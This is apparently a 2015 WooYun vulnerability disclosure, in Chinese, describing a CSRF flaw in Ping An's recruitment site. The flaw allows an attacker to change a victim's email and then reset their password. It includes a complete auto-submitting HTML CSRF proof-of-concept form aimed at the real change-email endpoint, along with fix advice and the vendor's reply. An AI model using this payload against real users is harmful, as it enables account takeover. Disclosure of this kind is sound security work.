当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127982

漏洞标题:平安集团招聘网站CSRF导致任意用户密码重置

相关厂商:中国平安保险(集团)股份有限公司

漏洞作者: YxWa

提交时间:2015-07-21 12:21

修复时间:2015-09-05 09:14

公开时间:2015-09-05 09:14

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 细节已通知厂商并且等待厂商处理中
2015-07-22: 厂商已经确认,细节仅向厂商公开
2015-08-01: 细节向核心白帽子及相关领域专家公开
2015-08-11: 细节向普通白帽子公开
2015-08-21: 细节向实习白帽子公开
2015-09-05: 细节向公众公开

简要描述:

小问题,不过,求个工作机会。

详细说明:

0x01 URL:http://job.pingan.com/ 个人用户-》注册登录不必多说。
0x02 我的控制面板-》修改注册邮箱

QQ截图20150718133637.png

经过测试,向后台提交时不填写原始邮箱也可以成功修改。CSRF的关键就在这,因为网站并没有对原始邮箱的合法性进行验证。

QQ截图20150718133851.png


此处截包将原始邮箱改为空

QQ截图20150720221852.png


可以看到不用填写原始邮箱也同样修改成功了

QQ截图20150718134011.png

再次进入这里,发现邮箱已经由QQ邮箱变为SINA邮箱了。

QQ截图20150718134118.png


0x03 因为他并没有对原始邮箱进行验证(就像上面一样留空就好了),页面也没有token,所以想到了CSRF,直接用CSRFtester抓包生成payload。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "583" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="https://job.pingan.com:443/user/changeEmail.do">
<input type="hidden" name="oldEmail" value=""/> //注意此处是原始邮箱,留空即可
<input type="hidden" name="newEmail" value="****@sina.cn"/> //此处是黑客的邮箱
</form>
</body>
</html>


诱使受害者在登陆平安招聘网站的同时点击这个payload即可。
0x04 我发现网站也有Referer,但是好像服务器并没有对此做判断来防止CSRF。

漏洞证明:

这样就可以通过CSRF修改任意用户的邮箱,只要他与平安招聘的网页会话还在,并且点击了上面精心构造的payload。
将任意用户的邮箱修改为黑客可以控制的邮箱,那么受害者的ID就和黑客的邮箱相关联了,然后黑客就可以通过邮箱将密码找回。
之前提交过一次,漏洞没通过原因是问我“原始邮箱怎么处理?可绕过?”,我没明白其中的意思,因为他并没有对原始邮箱的正确性做验证啊,直接CSRF把受害者的邮箱改成我自己的邮箱就好了嘛,然后我就可以通过找回密码修改他密码了嘛。如下图。

QQ截图20150720223132.png


这样我就成功的把他账号密码都拿到了。

修复方案:

1.页面增加token
2.Referer判断
3.验证码
4.服务器验证原始邮箱

版权声明:转载请注明来源 YxWa@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-07-22 09:13

厂商回复:

感谢您的反馈。此招聘网站非关键系统,利用条件苛刻,危害性较低。

最新状态:

暂无